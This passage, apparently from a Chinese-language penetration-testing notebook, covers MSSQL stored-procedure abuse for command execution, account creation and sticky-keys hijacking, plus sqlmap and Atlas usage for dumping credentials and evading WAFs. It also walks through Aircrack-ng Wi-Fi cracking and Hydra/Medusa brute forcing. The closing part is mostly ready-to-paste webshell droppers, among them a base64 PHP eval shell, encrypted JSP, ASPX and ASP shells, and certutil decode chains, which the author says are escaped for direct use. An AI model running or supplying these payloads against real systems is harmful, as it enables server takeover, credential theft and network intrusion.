2425 |
2426 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\1.bat'
2427 |
2428 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\file.exe'
2429 | ```
2430 |
2431 |
2432 |
2433 | 当然这里只是一种思路,你完全可以用vbs来下载什么的
2434 |
2435 | ##### 沙盒提权
2436 |
2437 | ```mssql
2438 | 1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
2439 |
2440 | 2. exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
2441 |
2442 | 3. Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( net user itpro gmasfm /add )');
2443 | ```
2444 |
2445 | 引用前辈们的话
2446 |
2447 | > 1,Access可以调用VBS的函数,以System权限执行任意命令
2448 | > 2,Access执行这个命令是有条件的,需要一个开关被打开
2449 | > 3,这个开关在注册表里
2450 | > 4,SA是有权限写注册表的
2451 | > 5,用SA写注册表的权限打开那个开关
2452 | > 6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令
2453 |
2454 | ##### xp_regwrite
2455 |
2456 | 修改注册表 来劫持粘贴键 当然在2008数据库是不成立的 因为默认权限很低
2457 |
2458 | ```
2459 | exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
2460 | Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
2461 | ```
2462 |
2463 |
2464 |
2465 | mssql众多的储存过程是我们利用的关键,还有很多可能没被提出,需要自己的发现,比如在遇到iis6的拿不了shell还有个上传可以跳目录,不妨试试xp_create_subdir建立个畸形目录解析。
2466 |
2467 |
2468 |
2469 |
2470 |
2471 |
2472 |
2473 | ## **工具使用**
2474 |
2475 |
2476 |
2477 | ### sqlmap
2478 |
2479 | 参考:https://blog.csdn.net/qq_33530840/article/details/82144515
2480 |
2481 | #### **sqlmap详细命令参数**
2482 |
2483 | - –is-dba 当前用户权限(是否为root权限)
2484 | - –dbs 所有数据库
2485 | - –current-db 网站当前数据库
2486 | - –users 所有数据库用户
2487 | - –current-user 当前数据库用户
2488 | - –random-agent 构造随机user-agent
2489 | - –passwords 数据库密码
2490 | - –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
2491 | - –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
2492 |
2493 | ——————————————————————————————————
2494 |
2495 | **Options(选项):**
2496 |
2497 | - –version 显示程序的版本号并退出
2498 | - -h, –help 显示此帮助消息并退出
2499 | - -v VERBOSE 详细级别:0-6(默认为1)
2500 | - 保存进度继续跑:
2501 |
2502 | sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度
2503 | sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度
2504 |
2505 | **Target(目标):**
2506 |
2507 | 以下至少需要设置其中一个选项,设置目标URL。
2508 |
2509 | - -d DIRECT 直接连接到数据库。
2510 | - -u URL, –url=URL 目标URL。
2511 | - -l LIST 从Burp或WebScarab代理的日志中解析目标。
2512 | - -r REQUESTFILE 从一个文件中载入HTTP请求。
2513 | - -g GOOGLEDORK 处理Google dork的结果作为目标URL。
2514 | - -c CONFIGFILE 从INI配置文件中加载选项。
2515 |
2516 | **Request(请求):**
2517 |
2518 | 这些选项可以用来指定如何连接到目标URL。
2519 |
2520 | - –data=DATA 通过POST发送的数据字符串
2521 | - –cookie=COOKIE HTTP Cookie头
2522 | - –cookie-urlencode URL 编码生成的cookie注入
2523 | - –drop-set-cookie 忽略响应的Set – Cookie头信息
2524 | - –user-agent=AGENT 指定 HTTP User – Agent头
2525 | - –random-agent 使用随机选定的HTTP User – Agent头
2526 | - –referer=REFERER 指定 HTTP Referer头
2527 | - –headers=HEADERS 换行分开,加入其他的HTTP头
2528 | - –auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
2529 | - –auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
2530 | - –auth-cert=ACERT HTTP认证证书(key_file,cert_file)
2531 | - –proxy=PROXY 使用HTTP代理连接到目标URL
2532 | - –proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
2533 | - –ignore-proxy 忽略系统默认的HTTP代理
2534 | - –delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
2535 | - –timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
2536 | - –retries=RETRIES 连接超时后重新连接的时间(默认3)
2537 | - –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
2538 | - –safe-url=SAFURL 在测试过程中经常访问的url地址
2539 | - –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
2540 |
2541 | **Enumeration(枚举):**
2542 |
2543 | 这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
2544 | 您自己的SQL语句。
2545 |
2546 | - -b, –banner 检索数据库管理系统的标识
2547 | - –current-user 检索数据库管理系统当前用户
2548 | - –current-db 检索数据库管理系统当前数据库
2549 | - –is-dba 检测DBMS当前用户是否DBA
2550 | - –users 枚举数据库管理系统用户
2551 | - –passwords 枚举数据库管理系统用户密码哈希
2552 | - –privileges 枚举数据库管理系统用户的权限
2553 | - –roles 枚举数据库管理系统用户的角色
2554 | - –dbs 枚举数据库管理系统数据库
2555 | - -D DBname 要进行枚举的指定数据库名
2556 | - -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
2557 | - –tables 枚举的DBMS数据库中的表
2558 | - –columns 枚举DBMS数据库表列
2559 | - –dump 转储数据库管理系统的数据库中的表项
2560 | - –dump-all 转储所有的DBMS数据库表中的条目
2561 | - –search 搜索列(S),表(S)和/或数据库名称(S)
2562 | - -C COL 要进行枚举的数据库列
2563 | - -U USER 用来进行枚举的数据库用户
2564 | - –exclude-sysdbs 枚举表时排除系统数据库
2565 | - –start=LIMITSTART 第一个查询输出进入检索
2566 | - –stop=LIMITSTOP 最后查询的输出进入检索
2567 | - –first=FIRSTCHAR 第一个查询输出字的字符检索
2568 | - –last=LASTCHAR 最后查询的输出字字符检索
2569 | - –sql-query=QUERY 要执行的SQL语句
2570 | - –sql-shell 提示交互式SQL的shell
2571 |
2572 | **Optimization(优化):**
2573 |
2574 | 这些选项可用于优化SqlMap的性能。
2575 |
2576 | - -o 开启所有优化开关
2577 | - –predict-output 预测常见的查询输出
2578 | - –keep-alive 使用持久的HTTP(S)连接
2579 | - –null-connection 从没有实际的HTTP响应体中检索页面长度
2580 | - –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
2581 |
2582 | **Injection(注入):**
2583 |
2584 | 这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
2585 |
2586 | - -p TESTPARAMETER 可测试的参数(S)
2587 | - –dbms=DBMS 强制后端的DBMS为此值
2588 | - –os=OS 强制后端的DBMS操作系统为这个值
2589 | - –prefix=PREFIX 注入payload字符串前缀
2590 | - –suffix=SUFFIX 注入payload字符串后缀
2591 | - –tamper=TAMPER 使用给定的脚本(S)篡改注入数据
2592 |
2593 | **Detection(检测):**
2594 |
2595 | 这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
2596 |
2597 | - –level=LEVEL 执行测试的等级(1-5,默认为1)
2598 | - –risk=RISK 执行测试的风险(0-3,默认为1)
2599 | - –string=STRING 查询时有效时在页面匹配字符串
2600 | - –regexp=REGEXP 查询时有效时在页面匹配正则表达式
2601 | - –text-only 仅基于在文本内容比较网页
2602 |
2603 | **Techniques(技巧):**
2604 |
2605 | 这些选项可用于调整具体的SQL注入测试。
2606 |
2607 | - –technique=TECH SQL注入技术测试(默认BEUST)
2608 | - –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
2609 | - –union-cols=UCOLS 定列范围用于测试UNION查询注入
2610 | - –union-char=UCHAR 用于暴力猜解列数的字符
2611 |
2612 | **Fingerprint(指纹):**
2613 |
2614 | - -f, –fingerprint 执行检查广泛的DBMS版本指纹
2615 |
2616 | **Brute force(蛮力):**
2617 |
2618 | 这些选项可以被用来运行蛮力检查。
2619 |
2620 | - –common-tables 检查存在共同表
2621 | - –common-columns 检查存在共同列
2622 |
2623 | User-defined function injection(用户自定义函数注入):
2624 | 这些选项可以用来创建用户自定义函数。
2625 |
2626 | –udf-inject 注入用户自定义函数
2627 | –shared-lib=SHLIB 共享库的本地路径
2628 |
2629 | **File system access(访问文件系统):**
2630 |
2631 | 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
2632 |
2633 | - –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
2634 | - –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
2635 | - –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
2636 |
2637 | **Operating system access(操作系统访问):**
2638 |
2639 | 这些选项可以用于访问后端数据库管理系统的底层操作系统。
2640 |
2641 | - –os-cmd=OSCMD 执行操作系统命令
2642 | - –os-shell 交互式的操作系统的shell
2643 | - –os-pwn 获取一个OOB shell,meterpreter或VNC
2644 | - –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
2645 | - –os-bof 存储过程缓冲区溢出利用
2646 | - –priv-esc 数据库进程用户权限提升
2647 | - –msf-path=MSFPATH Metasploit Framework本地的安装路径
2648 | - –tmp-path=TMPPATH 远程临时文件目录的绝对路径
2649 |
2650 | **Windows注册表访问:**
2651 |
2652 | 这些选项可以被用来访问后端数据库管理系统Windows注册表。
2653 |
2654 | - –reg-read 读一个Windows注册表项值
2655 | - –reg-add 写一个Windows注册表项值数据
2656 | - –reg-del 删除Windows注册表键值
2657 | - –reg-key=REGKEY Windows注册表键
2658 | - –reg-value=REGVAL Windows注册表项值
2659 | - –reg-data=REGDATA Windows注册表键值数据
2660 | - –reg-type=REGTYPE Windows注册表项值类型
2661 |
2662 | 这些选项可以用来设置一些一般的工作参数。
2663 |
2664 | - -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
2665 | - -s SESSIONFILE 保存和恢复检索会话文件的所有数据
2666 | - –flush-session 刷新当前目标的会话文件
2667 | - –fresh-queries 忽略在会话文件中存储的查询结果
2668 | - –eta 显示每个输出的预计到达时间
2669 | - –update 更新SqlMap
2670 | - –save file保存选项到INI配置文件
2671 | - –batch 从不询问用户输入,使用所有默认配置。
2672 |
2673 | **Miscellaneous(杂项):**
2674 |
2675 | - –beep 发现SQL注入时提醒
2676 | - –check-payload IDS对注入payloads的检测测试
2677 | - –cleanup SqlMap具体的UDF和表清理DBMS
2678 | - –forms 对目标URL的解析和测试形式
2679 | - –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
2680 | - –page-rank Google dork结果显示网页排名(PR)
2681 | - –parse-errors 从响应页面解析数据库管理系统的错误消息
2682 | - –replicate 复制转储的数据到一个sqlite3数据库
2683 | - –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
2684 | - –wizard 给初级用户的简单向导界面
2685 |
2686 | #### sqlmap使用
2687 |
2688 | **使用代理**
2689 |
2690 | 可以配合代理池,我之前有发过
2691 |
2692 | ```
2693 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --proxy “http://127.0.0.1:1080″
2694 | ```
2695 |
2696 | **检测注入**
2697 |
2698 | ```
2699 | sqlmap -u “http://www.vuln.cn/post.php?id=1”
2700 | ```
2701 |
2702 | **cookie注入**
2703 |
2704 | 只有level达到2才会检测cookie
2705 |
2706 | ```
2707 | sqlmap -u “http://www.vuln.cn” –cookie “id=11” --level 2
2708 | ```
2709 |
2710 | **数据包注入**
2711 |
2712 | ```
2713 | sqlmap -r “c:\tools\request.txt”
2714 | ```
2715 |
2716 | **post注入**
2717 |
2718 | ```
2719 | sqlmap -u "http://www.vuln.cn/post.php?id=1" --method POST --data "id=1"
2720 | ```
2721 |
2722 | **伪静态注入**
2723 |
2724 | 因为+号会被url编码,所以我们通常使用减号来进行判断。
2725 |
2726 | ```
2727 | http://www.xxxx.com/product/detail/id/3-1.html
2728 | ```
2729 |
2730 | 注入的地方用*号
2731 |
2732 | ```
2733 | sqlmap.py -u www.xxxx.com/product/detail/id/3*.html --dbms=mysql -v 3
2734 | ```
2735 |
2736 | **跑库**
2737 |
2738 | --dbms指定数据库
2739 |
2740 | --dbs列出全部数据库
2741 |
2742 | ```
2743 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql --dbs
2744 | ```
2745 |
2746 | **跑表**
2747 |
2748 | -D指定数据库(test)
2749 |
2750 | --tables列出该库全部表
2751 |
2752 | ```
2753 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql -D test --tables
2754 | ```
2755 |
2756 | **跑列名**
2757 |
2758 | -T指定表(admin)
2759 |
2760 | --columns列出该表全部列名
2761 |
2762 | ```
2763 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql -D test -T admin –-columns
2764 | ```
2765 |
2766 | **跑数据**
2767 |
2768 | -C指定列名
2769 |
2770 | --dump跑全部数据
2771 |
2772 | --start 1 --stop 10 跑十条数据
2773 |
2774 | ```
2775 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql -D test -T admin -C “username,password” --dump
2776 | ```
2777 |
2778 | **判断是否是管理员**
2779 |
2780 | ```
2781 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --dbms mysql --is-dba
2782 | ```
2783 |
2784 | **sqlshell**
2785 |
2786 | 获取一个sqlshell,可以用来执行sql语句
2787 |
2788 | ```
2789 | sqlmap -u “http://www.vuln.cn/post.php?id=1” --sql-shell
2790 | ```
2791 |
2792 | **用search参数快速定位password列**
2793 |
2794 | ```
2795 | sqlmap -r “c:\tools\request.txt” –dbms mysql -D test –search -C admin,password
2796 | ```
2797 |
2798 | **获取shell**
2799 |
2800 | 条件:
2801 |
2802 | **(1)网站必须是root权限**
2803 |
2804 | **(2)攻击者需要知道网站的绝对路径**
2805 |
2806 | **(3)GPC为off,php主动转义的功能关闭**
2807 |
2808 | 都能上传了,直接传一个一句话不香吗?
2809 |
2810 | ```
2811 | sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
2812 | ```
2813 |
2814 | **读取与写入文件**
2815 |
2816 | 首先找需要网站的物理路径,其次需要有可写或可读权限。
2817 |
2818 | –file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
2819 | –file-write=WFILE 编辑后端的数据库管理系统文件系统上的**本地文件** (mssql xp_shell)
2820 | –file-dest=DFILE 后端的数据库管理系统写入文件的**绝对路径**
2821 | \#写示例:
2822 |
2823 | ```
2824 | sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
2825 | ```
2826 |
2827 | #读示例
2828 |
2829 | ```
2830 | sqlmap -r “c:\request.txt” -p id –dbms mysql –file-read="e:\www\as\config.php"
2831 | ```
2832 |
2833 | #注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
2834 |
2835 |
2836 |
2837 | #### Tamper使用
2838 |
2839 | 这里推一个工具,可以自动选择tamper
2840 |
2841 | https://github.com/m4ll0k/Atlas
2842 |
2843 | **使用**
2844 |
2845 | 先用sqlmap 跑一下注入点(需要输出使用的payload)
2846 |
2847 | 1. Run SQLMap:
2848 |
2849 | ```
2850 | $ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3
2851 | ```
2852 |
2853 | [](https://camo.githubusercontent.com/3f5610b30b3956708d21ae3fa8e8f4333565d4ceb1b51f2a106eeff514229f04/68747470733a2f2f692e696d6775722e636f6d2f5850333952717a2e706e67)
2854 |
2855 | `Price_ASC') AND 8716=4837 AND ('yajr'='yajr` is blocked by WAF/IDS/IPS, now trying with Atlas:
2856 |
2857 | 拿到使用的payload,使用atlas.py来查找可用的tamper
2858 |
2859 | ```
2860 | $ python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v
2861 | ```
2862 |
2863 | [](https://camo.githubusercontent.com/ec060487c40814c93aecbe7cc7709addd789f65d9b07386f656ea85167709f94/68747470733a2f2f692e696d6775722e636f6d2f553671456e58702e706e67)
2864 |
2865 | 找到后,就可以直接使用(上面找到versionedkeywords)
2866 |
2867 | ```
2868 | $ python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords
2869 | ```
2870 |
2871 |
2872 |
2873 | ### Aircrack-ng破解WIFI密码
2874 |
2875 | 参考https://blog.csdn.net/qq_36119192/article/details/84254622
2876 |
2877 | 破解无线wifi可以分为以下几步:
2878 |
2879 | - 查看网卡名字:iwconfig
2880 | - 设置网卡为监听模式:airmon-ng start wlan0
2881 | - 扫描附近的WIFI:airodump-ng wlan0mon
2882 | - 选定一个路由器,并监听其流量:airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon
2883 | - 选定连接的一个客户端,进行攻击:aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31 wlan0mon
2884 | - 对抓取到的cap包进行暴力破解:aircrack-ng -w password.txt -b BC:46:99:3D:66:D6 tplink-01.cap
2885 |
2886 | 查看无线网卡名字:iwconfig 或者 ifconfig -a 都可以
2887 |
2888 | 
2889 |
2890 | 开启网卡监听模式:airmon-ng start wlan0 。网卡开启了监听模式之后网卡的名字就变为 wlan0mon 了,以后的所有命令中的网卡名都是叫 wlan0mon
2891 |
2892 | 
2893 |
2894 | 扫描附近的WIFI:airodump-ng wlan0mon ,会显示附近所有的WIFI信号。
2895 |
2896 | - BSSID代表路由器的 MAC 地址
2897 | - PWR 代表信号的强度,数值越大代表信息越强
2898 | - CH 代表信道
2899 | - ENC代表用的加密的方式
2900 | - AUTH 代表认证的方式
2901 | - ESSID是WIFI的名字
2902 |
2903 | 我们需要选定一个准备破解的WIFI,我们选 tplink-5
2904 |
2905 | 
2906 |
2907 | 监听该路由器的流量:
2908 |
2909 | ```python
2910 | airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon # -w 参数指定生成的文件名 -c 指定信道 --bssid指定路由器的MAC地址
2911 | ```
2912 |
2913 | 也可以监听整个信道的路由器流量:
2914 |
2915 | ```
2916 | airodump-ng -w tplink -c 11 wlan0mon # -w 参数指定生成的文件名 -c 指定信道
2917 | ```
2918 |
2919 | 下面的 STATION 是连接该WIFI的客户端,下面这里只有一个客户端连接了该WIFI。如果有多个客户端连接的话,我们最好选择活跃点的客户端。
2920 |
2921 | 
2922 |
2923 | 重新打开一个命令行窗口(之前的监听不要关闭),开始攻击!之前的窗口继续保留,用于观察是否抓包成功
2924 |
2925 | ```python
2926 | aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31 wlan0mon # 50是发包的数量 -a指定路由器的MAC地址 -c指定连接的客户端的MAC地址
2927 | ```
2928 |
2929 | 该命令会打断连接客户端和WIFI之间的连接,等到客户端重新连接WIFI的时候,就会抓取他们之间的握手认证包!
2930 |
2931 | 
2932 |
2933 | 如果在监听窗口看到下面红色圈住的这些,就说明握手包抓取成功了(没抓到可以多试几次,直到抓包成功为止)
2934 |
2935 | 
2936 |
2937 | 我们可以看到会生成四个文件,其中我们有用的文件是以 cap 后缀结尾的文件
2938 |
2939 | 
2940 |
2941 | 对抓取到的cap包进行破解,这需要我们准备好破解的密码字典。所以,无论是任何破解,都需要一个强大的密码字典!
2942 |
2943 | kali下自带有一份无线密码字典——> /usr/share/wordlists/rockyou.txt.gz ,我们将其解压
2944 |
2945 | 
2946 |
2947 | 
2948 |
2949 | ```python
2950 | aircrack-ng -w /usr/share/wordlists/rockyou.txt -b BC:46:99:3D:66:D6 tplink-01.cap #-w指定 密码字典 -b指定路由器的MAC地址
2951 | ```
2952 |
2953 | 可以看到,破解成功!该WIFI的密码为 www.123.com
2954 |
2955 | 
2956 |
2957 | 从最后可以看出,要想破解出WIFI的密码,还是得需要一个很强大的字典!
2958 |
2959 |
2960 |
2961 |
2962 |
2963 |
2964 |
2965 | ### 爆破攻击
2966 |
2967 | #### Hydra
2968 |
2969 | ```
2970 | 参数:
2971 | -l 指定的用户名 -L 用户名字典
2972 | -p 指定密码 -P 密码字典
2973 | -s 指定端口
2974 | -o 输出文件
2975 | -t 任务数默认16
2976 | -f 爆破成功一个就停止
2977 | -v 报错日志详细 -V 攻击日志
2978 | >hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql
2979 | >hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4
2980 | >hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv
2981 | >hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V
2982 | >hydra -L /root/user.txt -P pass.txt 10.1.1.10 smb -vV
2983 | >hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10
2984 | ```
2985 |
2986 | #### Medusa
2987 |
2988 | ```
2989 | 参数:
2990 | -h 目标名或IP -H 目标列表
2991 | -u 用户名 -U 用户名字典
2992 | -p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程
2993 | -n 指定端口 -e ns 尝试空密码和用户名密码相同
2994 | >medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
2995 | >medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql
2996 | ```
2997 |
2998 |
2999 |
3000 | # getshell方法
3001 |
3002 |
3003 |
3004 | ## 利用JavaScript转写php
3005 |
3006 | https://xz.aliyun.com/t/9181
3007 |
3008 | 为了避免拦截php代码的waf,我这里远程下载的脚本是利用JavaScript转写php
3009 |
3010 | ```sql
3011 | SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';
3012 | SELECT ''
3013 | ```
3014 |
3015 | 访问11.php 就会生成shell.php
3016 | 这里的shell也是用了哥斯拉的免杀shell
3017 |
3018 |
3019 |
3020 | ## 命令执行写shell
3021 |
3022 | ```
3023 | echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php
3024 |
3025 | echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php
3026 |
3027 | ```
3028 |
3029 |
3030 |
3031 | https://www.anquanke.com/post/id/245019
3032 |
3033 | **Windows**
3034 |
3035 | 在windows主要的写入方法,我主要用以下两种:
3036 |
3037 | ```
3038 | set /p=要写的内容 C:\11.txt
3039 | echo 要写的内容 > C:\11.txt
3040 | ```
3041 |
3042 | 在windows中,批处理需要转义字符主要有 “&”,“|”,“<”,“>”等等,转义字符为”^”
3043 |
3044 | 下面以echo为例,写入冰蝎各脚本语言shell,其中需要转义的东西,我已经帮各位表哥转过了,拿来直接用即可:
3045 |
3046 | **(1)jsp**
3047 |
3048 | ```
3049 | echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp
3050 | ```
3051 |
3052 | **(2)jspx**
3053 |
3054 | ```
3055 | echo ^^^ class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}^^String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);^^ > 111.jspx
3056 | ```
3057 |
3058 | **(3)php**
3059 |
3060 | ```
3061 | echo ^ > 111.php
3062 | ```
3063 |
3064 | **(4)java9 jsp**
3065 |
3066 | ```
3067 | echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b"; session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > 111.jsp
3068 | ```
3069 |
3070 | **(5)aspx**
3071 |
3072 | ```
3073 | echo ^<%@ Page Language="C#" %^>^<%@Import Namespace="System.Reflection"%^>^<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%^> > 111.aspx
3074 | ```
3075 |
3076 | **(6)asp**
3077 |
3078 | ```
3079 | echo ^<% >> 111.asp&echo Response.CharSet = "UTF-8" >> 111.asp&echo k="e45e329feb5d925b" >> 111.asp&echo Session("k")=k >> 111.asp&echo size=Request.TotalBytes >> 111.asp&echo content=Request.BinaryRead(size) >> 111.asp&echo For i=1 To size >> 111.asp&echo result=result^&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1))) >> 111.asp&echo Next >> 111.asp&echo execute(result) >> 111.asp&echo %^> >> 111.asp
3080 | ```
3081 |
3082 |
3083 |
3084 | **(1)certutil-Base64**
3085 |
3086 | ```
3087 | echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9JT4= > 111.txt
3088 |
3089 | certutil -f -decode 111.txt C:\\111.jsp
3090 | ```
3091 |
3092 | **(2)certutil-Hex**
3093 |
3094 | ```
3095 | echo 3c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d253e > 111.txt
3096 |
3097 | certutil -decodehex 111.txt C:\\111.jsp
3098 | ```
3099 |
3100 | **(b)Linux**
3101 |
3102 | 在Linux中,需要转义字符主要是 单引号 或者双引号 对于单引号,我们将其替换为\47即可。
3103 |
3104 | **(1)jsp**
3105 |
3106 | ```
3107 | echo '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>' > 111.jsp
3108 | ```
3109 |
3110 | **(2)jspx**
3111 |
3112 | ```
